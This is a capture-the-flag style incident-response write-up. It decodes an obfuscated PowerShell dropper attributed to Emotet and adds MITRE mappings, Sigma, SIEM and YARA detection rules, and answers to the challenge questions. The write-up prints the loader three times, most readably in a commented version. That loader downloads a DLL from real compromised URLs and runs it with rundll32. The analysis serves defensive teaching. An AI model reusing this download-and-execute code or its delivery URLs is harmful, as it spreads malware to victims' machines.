GothamLegend Incident Response – PowerShell Malware Analysis
Scenario
Recently the networks of a large company named GothamLegend were compromised after an employee opened a phishing email containing malware.
The damage caused was critical and resulted in business-wide disruption. GothamLegend had to reach out to a third-party incident response team to
assist with the investigation. You are a member of the IR team - all you have is an encoded Powershell script. Can you decode it and identify what
malware is responsible for this attack?
Analysis
We are provided with a ZIP archive containing a file named ps_script.txt.
Inspection of this file shows a PowerShell command using the -EncodedCommand (-enc) flag.
PowerShell’s -EncodedCommand option uses:
- Base64 encoding
- UTF-16LE character encoding
This technique is commonly used by malware to evade detection and hide malicious intent.
To safely decode the payload without executing it, the encoded Base64 string is extracted and decoded using standard Linux utilities.
One-liner used for decoding:
grep -o '[A-Za-z0-9+/=]\{500,\}' ps_script.txt \
| tr -d '\n\r ' \
| base64 -d \
| iconv -f UTF-16LE -t UTF-8 \
| sed 's/`//g' > decoded.ps1

This process:
- Extracts only the Base64 payload
- Cleans whitespace and formatting
- Decodes UTF-16LE PowerShell content
- Removes PowerShell backtick obfuscation
This same thing can be done in cyberchef with using base64 decode and remove null byte

sEt MKu ( [TYPe]("{0}{1}{2}{4}{3}" -F 'SYsT','eM.','io.DI','ORY','rECt') ); SeT-iTEM ('vaR'+'IabLE'+':mBu') ( [TYPe]("{6}{8}{0}{3}{4}{5}{2}{7}{1}" -f'SteM','Ger','Ma','.n','et.seRVIcepOi','nt','s','NA','Y')); $ErrorActionPreference = (('S'+'il')+('en'+'t')+'ly'+('Cont'+'i'+'nue'));$Cvmmq4o=$Q26L + [char](64) + $E16H;$J16J=('N'+('_0'+'P')); (DIr VariabLE:Mku ).VaLUe::"cREAtedIRECTORy"($HOME + (('{'+'0}Db_bh'+'30'+'{0}'+'Yf'+'5be5g{0}') -F [chAR]92));$C39Y=(('U6'+'8')+'S'); ( vARiaBLe ("m"+"bu") -VAlueoN )::"sEcuRITYproTocol" = ('T'+('ls'+'12'));$F35I=('I'+('4'+'_B'));$Swrp6tc = (('A6'+'9')+'S');$X27H=('C3'+'3O');$Imd1yck=$HOME+((('UO'+'H'+'Db_')+'b'+('h3'+'0UO')+('HY'+'f')+('5be5'+'g'+'UOH'))."RePlACe"(('U'+'OH'),[StrInG][chAr]92))+$Swrp6tc+(('.'+'dl')+'l');$K47V=('R'+('4'+'9G'));$B9fhbyv=(']'+('a'+'nw[3s://adm'+'int'+'k.c'+'o'+'m/'+'w')+('p-adm'+'in/'+'L/')+'@'+(']a'+'n'+'w[3s')+':'+'/'+'/m'+('ike'+'ge')+('e'+'r'+'inck.')+('c'+'om')+('/c/'+'Y'+'Ys')+'a'+('/@]'+'anw'+'['+'3://free'+'lanc'+'e'+'rw')+('ebdesi'+'gnerh'+'yd')+('er'+'aba')+('d.'+'com/')+('cgi'+'-bin'+'/S')+('/'+'@'+']anw')+('[3'+'://'+'etdog.co'+'m'+'/w')+('p-'+'co')+'nt'+('e'+'nt')+('/n'+'u/@')+(']a'+'nw[3')+'s'+('://'+'www'+'.hintu'+'p.c')+('o'+'m.')+('b'+'r/')+'w'+('p'+'-co')+('n'+'ten')+('t'+'/dE/'+'@]a'+'nw[3://'+'www.')+'s'+('tm'+'arouns'+'.')+('ns'+'w')+('.'+'edu.au/p'+'a'+'y'+'pal/b8')+('G'+'/@]')+('a'+'nw[')+('3:'+'/')+('/'+'wm.mcdeve'+'lop.net'+'/'+'c'+'on'+'t'+'e')+('nt'+'/')+'6'+('F2'+'gd/'))."REplACe"(((']a'+'n')+('w'+'[3')),([array]('sd','sw'),(('h'+'tt')+'p'),'3d')[1])."sPLIT"($C83R + $Cvmmq4o + $F10Q);$Q52M=('P'+('0'+'5K'));foreach ($Bm5pw6z in $B9fhbyv){try{(&('New'+'-Objec'+'t') SysTem.nEt.WEBcLIeNT)."doWNlOaDFIlE"($Bm5pw6z, $Imd1yck);$Z10L=('A9'+'2Q');If ((&('Ge'+'t-It'+'em') $Imd1yck)."lenGTH" -ge 35698) {&('r'+'undl'+'l32') $Imd1yck,(('Co'+'nt')+'r'+('ol'+'_RunD'+'L')+'L')."TOStRiNG"();$R65I=('Z'+('09'+'B'));break;$K7_H=('F1'+'2U')}}catch{}}$W54I=(('V9'+'5')+'O')
Decoded Script (Obfuscated)
The decoded file still contains heavy obfuscation techniques such as:
- Randomized casing
- String concatenation
- Backticks within keywords
- Dynamic variable resolution These techniques are commonly used to evade static detection by antivirus and EDR solutions.
De-obfuscation
The script was further de-obfuscated using an online PowerShell de-obfuscation utility.
This revealed the true intent and behavior of the script.
https://minusone.skyblue.team/script/fb35cd83-22f5-4037-8c82-2f83772ea9c0
set MKu ([Type]"SYsTeM.io.DIrECtORY")
Set-Item "vaRIabLE:mBu" ([Type]"sYSteM.net.seRVIcepOintMaNAGer")
$Cvmmq4o = $Q26L + "@" + $E16H
(dir VariabLE:Mku).VaLUe::C`reat`edi`rec`tory($HOME + "\Db_bh30\Yf5be5g\")
(variable "mbu" -VAlueoN)::Securityprot`o`c`ol = "Tls12"
$Imd1yck = $HOME + ("UOHDb_bh30UOHYf5be5gUOH".Rep`lace("UOH", "\")) + "A69S" + ".dll"
$B9fhbyv = "]anw[3s://admintk.com/wp-admin/L/@]anw[3s://mikegeerinck.com/c/YYsa/@]anw[3://freelancerwebdesignerhyderabad.com/cgi-bin/S/@]anw[3://etdog.com/wp-content/nu/@]anw[3s://www.hintup.com.br/wp-content/dE/@]anw[3://www.stmarouns.nsw.edu.au/paypal/b8G/@]anw[3://wm.mcdevelop.net/content/6F2gd/".Re`p`lace("]anw[3", ([Array]("sd", "sw"), "http", "3d")[1]).S`plit($C83R + $Cvmmq4o + $F10Q)
foreach ($Bm5pw6z in $B9fhbyv){
try {
(& "new-object" SysTem.nEt.WEBcLIeNT).Do`wnl`oad`file($Bm5pw6z, $Imd1yck)
If ((& "get-item" $Imd1yck).Len`g`th -ge 35698){
& "rundll32" $Imd1yck, "Control_RunDLL".T`ost`ring ()
break
}
}
catch{
}
}
Fully Readable PowerShell (Cleaned)
Here is the same version of the code with little updated so more easy to read we can see multiple things going on in the powershell script
# Use .NET Directory class
Set-Variable -Name MKu -Value ([System.IO.Directory])
# Use .NET ServicePointManager class
Set-Variable -Name mbu -Value ([System.Net.ServicePointManager])
# Create working directory inside the user's home folder
$workDir = Join-Path $HOME "Db_bh30\Yf5be5g"
[System.IO.Directory]::CreateDirectory($workDir) | Out-Null
# Force TLS 1.2 for HTTPS connections
[System.Net.ServicePointManager]::SecurityProtocol = "Tls12"
# Path where the malicious DLL will be saved
$dllPath = Join-Path $workDir "A69S.dll"
# List of payload delivery URLs
$urls = @(
"https://admintk.com/wp-admin/L/",
"https://mikegeerinck.com/c/YYsa/",
"https://freelancerwebdesignerhyderabad.com/cgi-bin/S/",
"https://etdog.com/wp-content/nu/",
"https://www.hintup.com.br/wp-content/dE/",
"https://www.stmarouns.nsw.edu.au/paypal/b8G/",
"https://wm.mcdevelop.net/content/6F2gd/"
)
# Try downloading the DLL from each URL
foreach ($url in $urls) {
try {
$client = New-Object System.Net.WebClient
$client.DownloadFile($url, $dllPath)
# Verify payload size (anti-404 / anti-junk check)
if ((Get-Item $dllPath).Length -ge 35698) {
# Execute the downloaded DLL
rundll32.exe $dllPath,Control_RunDLL
# Stop after first successful execution
break
}
}
catch {
# Ignore errors and continue with next URL
}
}
Behavioral Analysis
The script performs the following actions:
- Creates a hidden working directory in the user’s home directory
- Forces TLS 1.2 to ensure HTTPS downloads succeed
- Attempts to download a malicious DLL from multiple compromised websites
- Uses multiple fallback URLs to ensure delivery
- Validates the downloaded file size to avoid executing junk data
- Executes the DLL using
rundll32.exe - Terminates execution after the first successful payload delivery
Malware Classification
Type: PowerShell Malware Loader / Dropper
Payload: DLL
Execution Method: rundll32.exe
Persistence: External payload execution
Technique: Living-off-the-Land (LOLbins)
MITRE ATT&CK Mapping
| Technique | Description |
|---|---|
| T1059.001 | PowerShell |
| T1105 | Ingress Tool Transfer |
| T1218.011 | Rundll32 |
| T1027 | Obfuscated Files |
Sigma Detection Rule - PowerShell Encoded DLL Loader
title: Emotet (Heodo) PowerShell EncodedCommand DLL Loader via Rundll32
id: 7c3b8b41-1f8e-4e2a-9e7c-3f7b2d4e9d21
status: experimental
description: >
Detects Emotet (aka Heodo) infection chain where PowerShell uses
EncodedCommand to download a DLL payload and execute it via rundll32.exe.
This behavior is commonly observed in malspam-delivered Emotet campaigns.
author: IR Team
date: 2026/01/15
modified: 2026/01/15
references:
- https://attack.mitre.org/techniques/T1059/001/
- https://attack.mitre.org/techniques/T1218/011/
- https://attack.mitre.org/techniques/T1105/
- https://bazaar.abuse.ch/sample/23be1cb22c94fe77cea5f8e7fef6710eeef5a23e7e7eb9b9dd53f56d1b954269/
- https://www.capesandbox.com/analysis/110417/
tags:
- attack.execution
- attack.t1059.001 # PowerShell
- attack.t1105 # Ingress Tool Transfer
- attack.t1218.011 # Rundll32
- attack.t1027 # Obfuscated Files or Information
- malware.emotet
- malware.heodo
- malware.loader
- malspam
- powershell
logsource:
category: process_creation
product: windows
detection:
powershell_encoded:
Image|endswith:
- powershell.exe
- pwsh.exe
CommandLine|contains:
- '-enc'
- '-EncodedCommand'
powershell_network_loader:
CommandLine|contains:
- 'System.Net.WebClient'
- 'DownloadFile'
- 'Tls12'
rundll32_dll_exec:
Image|endswith: rundll32.exe
CommandLine|contains:
- '.dll'
- 'Control_RunDLL'
user_writable_dll:
CommandLine|contains:
- '\\Users\\'
- '\\AppData\\'
- '\\Temp\\'
- '\\Downloads\\'
condition: >
powershell_encoded and
powershell_network_loader and
rundll32_dll_exec and
user_writable_dll
falsepositives:
- Rare administrative scripts using EncodedCommand and rundll32
- Red team simulations mimicking Emotet tradecraft
level: critical
Optional : URL focused companion rule (IOC based)
title: Suspicious DLL Download from Compromised Websites
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains:
- 'admintk.com'
- 'mikegeerinck.com'
- 'freelancerwebdesignerhyderabad.com'
- 'etdog.com'
- 'hintup.com.br'
- 'stmarouns.nsw.edu.au'
- 'mcdevelop.net'
condition: selection
level: critical
Siem
Splunk (SPL)
index=*
(Image="*powershell.exe" OR Image="*pwsh.exe")
(CommandLine="*-enc*" OR CommandLine="*-EncodedCommand*")
Elastic (KQL)
process.name : ("powershell.exe","pwsh.exe") and
process.command_line : ("*-enc*","*-EncodedCommand*")
Microsoft Sentinel (KQL)
SecurityEvent
| where ProcessName in ("powershell.exe","pwsh.exe")
| where CommandLine contains "-enc"
Yara Rule
rule DLL_Payload_PowerShell_Loader_GothamLegend
{
meta:
description = "Detects DLL payload dropped by PowerShell EncodedCommand loader and executed via rundll32"
author = "IR Team"
date = "2026-01-15"
malware_type = "Loader / DLL-based malware"
delivery_method = "PowerShell EncodedCommand"
execution_method = "rundll32 Control_RunDLL"
reference = "GothamLegend IR Case"
strings:
/* Common DLL execution indicator */
$export1 = "Control_RunDLL" ascii wide
/* .NET WebClient often embedded or referenced */
$net1 = "System.Net.WebClient" ascii wide
$net2 = "DownloadFile" ascii wide
/* TLS enforcement seen in loader chains */
$tls1 = "Tls12" ascii wide
$tls2 = "SecurityProtocol" ascii wide
/* LOLBIN abuse indicators */
$lolbin1 = "rundll32.exe" ascii wide
/* Common PE/DLL indicators */
$mz = { 4D 5A } // MZ header
$pe = { 50 45 00 00 } // PE header
condition:
/* Must be a valid PE file */
$mz at 0 and
$pe and
/* DLL-specific behavior indicators */
(
$export1 or
$lolbin1
) and
/* Network / loader behavior */
1 of ($net*) and
1 of ($tls*)
}
Challenge Submission
Q1. What security protocol is being used for the communication with a malicious domain? (3 points)
[System.Net.ServicePointManager]::SecurityProtocol = "Tls12"
- TLS 1.2
Q2. What directory does the obfuscated PowerShell create? (Starting from \HOME) (4 points)
$workDir = Join-Path $HOME "Db_bh30\Yf5be5g"
[System.IO.Directory]::CreateDirectory($workDir) | Out-Null
- \HOME\Db_bh30\Yf5be5g\
Q3. What file is being downloaded (full name)? (4 points)
$dllPath = Join-Path $workDir "A69S.dll"
- A69S.dll
Q4. What is used to execute the downloaded file? (3 points)
rundll32.exe $dllPath,Control_RunDLL
- rundll32
Q5. What is the domain name of the URI ending in ‘/6F2gd/’ (3 points)
"https://wm.mcdevelop.net/content/6F2gd/"
- wm.mcdevelop.net
Q6. Based on the analysis of the obfuscated code, what is the name of the malware? (3 points)
- Searching a little with the keywords like
\HOME\Db_bh30\Yf5be5g\andA69s.dllwe can find the malware name - Emotet
